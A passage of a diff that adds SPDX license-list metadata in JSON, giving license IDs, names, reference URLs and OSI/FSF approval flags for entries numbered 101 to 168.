+ "reference": "https://spdx.org/licenses/Unicode-DFS-2015.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2015.json",
+ "referenceNumber": 101,
+ "name": "Unicode License Agreement - Data Files and Software (2015)",
+ "licenseId": "Unicode-DFS-2015",
+ "seeAlso": [
+ "https://web.archive.org/web/20151224134844/http://unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-only.json",
+ "referenceNumber": 102,
+ "name": "GNU Free Documentation License v1.2 only",
+ "licenseId": "GFDL-1.2-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.1.json",
+ "referenceNumber": 103,
+ "name": "Mozilla Public License 1.1",
+ "licenseId": "MPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.1.html",
+ "https://opensource.org/licenses/MPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-only.json",
+ "referenceNumber": 104,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-4.0.json",
+ "referenceNumber": 105,
+ "name": "Creative Commons Attribution Non Commercial 4.0 International",
+ "licenseId": "CC-BY-NC-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeImage.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeImage.json",
+ "referenceNumber": 106,
+ "name": "FreeImage Public License v1.0",
+ "licenseId": "FreeImage",
+ "seeAlso": [
+ "http://freeimage.sourceforge.net/freeimage-license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.51.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.51.json",
+ "referenceNumber": 107,
+ "name": "Solderpad Hardware License, Version 0.51",
+ "licenseId": "SHL-0.51",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.51/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Jython.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Jython.json",
+ "referenceNumber": 108,
+ "name": "CNRI Jython License",
+ "licenseId": "CNRI-Jython",
+ "seeAlso": [
+ "http://www.jython.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-1.1.json",
+ "referenceNumber": 109,
+ "name": "Zope Public License 1.1",
+ "licenseId": "ZPL-1.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Afmparse.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Afmparse.json",
+ "referenceNumber": 110,
+ "name": "Afmparse License",
+ "licenseId": "Afmparse",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Afmparse"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.1.json",
+ "referenceNumber": 111,
+ "name": "Open LDAP Public License v2.1",
+ "licenseId": "OLDAP-2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db0d176738e96a0d3b9f85cb51e140a86f21be715"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Rdisc.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Rdisc.json",
+ "referenceNumber": 112,
+ "name": "Rdisc License",
+ "licenseId": "Rdisc",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Rdisc_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Imlib2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Imlib2.json",
+ "referenceNumber": 113,
+ "name": "Imlib2 License",
+ "licenseId": "Imlib2",
+ "seeAlso": [
+ "http://trac.enlightenment.org/e/browser/trunk/imlib2/COPYING",
+ "https://git.enlightenment.org/legacy/imlib2.git/tree/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-Shortened.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-Shortened.json",
+ "referenceNumber": 114,
+ "name": "BSD 4 Clause Shortened",
+ "licenseId": "BSD-4-Clause-Shortened",
+ "seeAlso": [
+ "https://metadata.ftp-master.debian.org/changelogs//main/a/arpwatch/arpwatch_2.1a15-7_copyright"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail.json",
+ "referenceNumber": 115,
+ "name": "Sendmail License",
+ "licenseId": "Sendmail",
+ "seeAlso": [
+ "http://www.sendmail.com/pdfs/open_source/sendmail_license.pdf",
+ "https://web.archive.org/web/20160322142305/https://www.sendmail.com/pdfs/open_source/sendmail_license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5.json",
+ "referenceNumber": 116,
+ "name": "Creative Commons Attribution 2.5 Generic",
+ "licenseId": "CC-BY-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AAL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AAL.json",
+ "referenceNumber": 117,
+ "name": "Attribution Assurance License",
+ "licenseId": "AAL",
+ "seeAlso": [
+ "https://opensource.org/licenses/attribution"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.json",
+ "referenceNumber": 118,
+ "name": "Mozilla Public License 2.0 (no copyleft exception)",
+ "licenseId": "MPL-2.0-no-copyleft-exception",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.json",
+ "referenceNumber": 119,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-NC-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-NL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-NL.json",
+ "referenceNumber": 120,
+ "name": "Creative Commons Attribution 3.0 Netherlands",
+ "licenseId": "CC-BY-3.0-NL",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/nl/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.02.json",
+ "referenceNumber": 121,
+ "name": "Lucent Public License v1.02",
+ "licenseId": "LPL-1.02",
+ "seeAlso": [
+ "http://plan9.bell-labs.com/plan9/license.html",
+ "https://opensource.org/licenses/LPL-1.02"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-1.0.json",
+ "referenceNumber": 122,
+ "name": "Educational Community License v1.0",
+ "licenseId": "ECL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-no-RFN.json",
+ "referenceNumber": 123,
+ "name": "SIL Open Font License 1.0 with no Reserved Font Name",
+ "licenseId": "OFL-1.0-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.json",
+ "referenceNumber": 124,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-NC-SA-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0.json",
+ "referenceNumber": 125,
+ "name": "Creative Commons Attribution Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP.json",
+ "referenceNumber": 126,
+ "name": "NTP License",
+ "licenseId": "NTP",
+ "seeAlso": [
+ "https://opensource.org/licenses/NTP"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0.json",
+ "referenceNumber": 127,
+ "name": "Mozilla Public License 2.0",
+ "licenseId": "MPL-2.0",
+ "seeAlso": [
+ "https://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.2.json",
+ "referenceNumber": 128,
+ "name": "Apple Public Source License 1.2",
+ "licenseId": "APSL-1.2",
+ "seeAlso": [
+ "http://www.samurajdata.se/opensource/mirror/licenses/apsl.php"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.json",
+ "referenceNumber": 129,
+ "name": "GNU Free Documentation License v1.2 only - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-2.0.json",
+ "referenceNumber": 130,
+ "name": "Artistic License 2.0",
+ "licenseId": "Artistic-2.0",
+ "seeAlso": [
+ "http://www.perlfoundation.org/artistic_license_2_0",
+ "https://www.perlfoundation.org/artistic-license-20.html",
+ "https://opensource.org/licenses/artistic-license-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0.json",
+ "referenceNumber": 131,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSCPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSCPL.json",
+ "referenceNumber": 132,
+ "name": "Ricoh Source Code Public License",
+ "licenseId": "RSCPL",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060715140826/http://www.risource.org/RPL/RPL-1.0A.shtml",
+ "https://opensource.org/licenses/RSCPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sleepycat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sleepycat.json",
+ "referenceNumber": 133,
+ "name": "Sleepycat License",
+ "licenseId": "Sleepycat",
+ "seeAlso": [
+ "https://opensource.org/licenses/Sleepycat"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xpp.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xpp.json",
+ "referenceNumber": 134,
+ "name": "XPP License",
+ "licenseId": "xpp",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/xpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Sharing-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Sharing-1.0.json",
+ "referenceNumber": 135,
+ "name": "Community Data License Agreement Sharing 1.0",
+ "licenseId": "CDLA-Sharing-1.0",
+ "seeAlso": [
+ "https://cdla.io/sharing-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ClArtistic.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ClArtistic.json",
+ "referenceNumber": 136,
+ "name": "Clarified Artistic License",
+ "licenseId": "ClArtistic",
+ "seeAlso": [
+ "http://gianluca.dellavedova.org/2011/01/03/clarified-artistic-license/",
+ "http://www.ncftp.com/ncftp/doc/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-only.json",
+ "referenceNumber": 137,
+ "name": "Affero General Public License v1.0 only",
+ "licenseId": "AGPL-1.0-only",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-DE.json",
+ "referenceNumber": 138,
+ "name": "Creative Commons Attribution 3.0 Germany",
+ "licenseId": "CC-BY-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.0.json",
+ "referenceNumber": 139,
+ "name": "Academic Free License v2.0",
+ "licenseId": "AFL-2.0",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060924134533/http://www.opensource.org/licenses/afl-2.0.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel.json",
+ "referenceNumber": 140,
+ "name": "Intel Open Source License",
+ "licenseId": "Intel",
+ "seeAlso": [
+ "https://opensource.org/licenses/Intel"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.json",
+ "referenceNumber": 141,
+ "name": "GNU Free Documentation License v1.1 or later - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APAFML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APAFML.json",
+ "referenceNumber": 142,
+ "name": "Adobe Postscript AFM License",
+ "licenseId": "APAFML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobePostscriptAFM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2.json",
+ "referenceNumber": 143,
+ "name": "GNU Free Documentation License v1.2",
+ "licenseId": "GFDL-1.2",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SISSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL.json",
+ "referenceNumber": 144,
+ "name": "Sun Industry Standards Source License v1.1",
+ "licenseId": "SISSL",
+ "seeAlso": [
+ "http://www.openoffice.org/licenses/sissl_license.html",
+ "https://opensource.org/licenses/SISSL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Naumen.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Naumen.json",
+ "referenceNumber": 145,
+ "name": "Naumen Public License",
+ "licenseId": "Naumen",
+ "seeAlso": [
+ "https://opensource.org/licenses/Naumen"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HTMLTIDY.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HTMLTIDY.json",
+ "referenceNumber": 146,
+ "name": "HTML Tidy License",
+ "licenseId": "HTMLTIDY",
+ "seeAlso": [
+ "https://github.com/htacg/tidy-html5/blob/next/README/LICENSE.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.8.json",
+ "referenceNumber": 147,
+ "name": "Open LDAP Public License v2.8",
+ "licenseId": "OLDAP-2.8",
+ "seeAlso": [
+ "http://www.openldap.org/software/release/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/blessing.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/blessing.json",
+ "referenceNumber": 148,
+ "name": "SQLite Blessing",
+ "licenseId": "blessing",
+ "seeAlso": [
+ "https://www.sqlite.org/src/artifact/e33a4df7e32d742a?ln\u003d4-9",
+ "https://sqlite.org/src/artifact/df5091916dbb40e6"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.0.json",
+ "referenceNumber": 149,
+ "name": "Creative Commons Attribution No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGTSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGTSL.json",
+ "referenceNumber": 150,
+ "name": "Open Group Test Suite License",
+ "licenseId": "OGTSL",
+ "seeAlso": [
+ "http://www.opengroup.org/testing/downloads/The_Open_Group_TSL.txt",
+ "https://opensource.org/licenses/OGTSL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-or-later.json",
+ "referenceNumber": 151,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-7.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-7.0.0.json",
+ "referenceNumber": 152,
+ "name": "The Parity Public License 7.0.0",
+ "licenseId": "Parity-7.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/7.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-1.0.json",
+ "referenceNumber": 153,
+ "name": "Creative Commons Attribution No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/dvipdfm.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/dvipdfm.json",
+ "referenceNumber": 154,
+ "name": "dvipdfm License",
+ "licenseId": "dvipdfm",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/dvipdfm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python.json",
+ "referenceNumber": 155,
+ "name": "CNRI Python License",
+ "licenseId": "CNRI-Python",
+ "seeAlso": [
+ "https://opensource.org/licenses/CNRI-Python"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-UC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-UC.json",
+ "referenceNumber": 156,
+ "name": "BSD-4-Clause (University of California-Specific)",
+ "licenseId": "BSD-4-Clause-UC",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-1.0.json",
+ "referenceNumber": 157,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 1.0",
+ "licenseId": "NLOD-1.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-RL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-RL.json",
+ "referenceNumber": 158,
+ "name": "Microsoft Reciprocal License",
+ "licenseId": "MS-RL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-RL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.json",
+ "referenceNumber": 159,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 4.0 International",
+ "licenseId": "CC-BY-NC-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HaskellReport.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HaskellReport.json",
+ "referenceNumber": 160,
+ "name": "Haskell Language Report License",
+ "licenseId": "HaskellReport",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Haskell_Language_Report_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-1.0.json",
+ "referenceNumber": 161,
+ "name": "Creative Commons Attribution 1.0 Generic",
+ "licenseId": "CC-BY-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UCL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/UCL-1.0.json",
+ "referenceNumber": 162,
+ "name": "Upstream Compatibility License v1.0",
+ "licenseId": "UCL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UCL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Mup.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Mup.json",
+ "referenceNumber": 163,
+ "name": "Mup License",
+ "licenseId": "Mup",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Mup"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMPPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMPPL.json",
+ "referenceNumber": 164,
+ "name": "Secure Messaging Protocol Public License",
+ "licenseId": "SMPPL",
+ "seeAlso": [
+ "https://github.com/dcblake/SMP/blob/master/Documentation/License.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.0.json",
+ "referenceNumber": 165,
+ "name": "PHP License v3.0",
+ "licenseId": "PHP-3.0",
+ "seeAlso": [
+ "http://www.php.net/license/3_0.txt",
+ "https://opensource.org/licenses/PHP-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GL2PS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GL2PS.json",
+ "referenceNumber": 166,
+ "name": "GL2PS License",
+ "licenseId": "GL2PS",
+ "seeAlso": [
+ "http://www.geuz.org/gl2ps/COPYING.GL2PS"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CrystalStacker.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CrystalStacker.json",
+ "referenceNumber": 167,
+ "name": "CrystalStacker License",
+ "licenseId": "CrystalStacker",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:CrystalStacker?rd\u003dLicensing/CrystalStacker"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-20150513.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-20150513.json",
+ "referenceNumber": 168,
+ "name": "W3C Software Notice and Document License (2015-05-13)",
+ "licenseId": "W3C-20150513",
+ "seeAlso": [
+ "https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD-fallback.json",
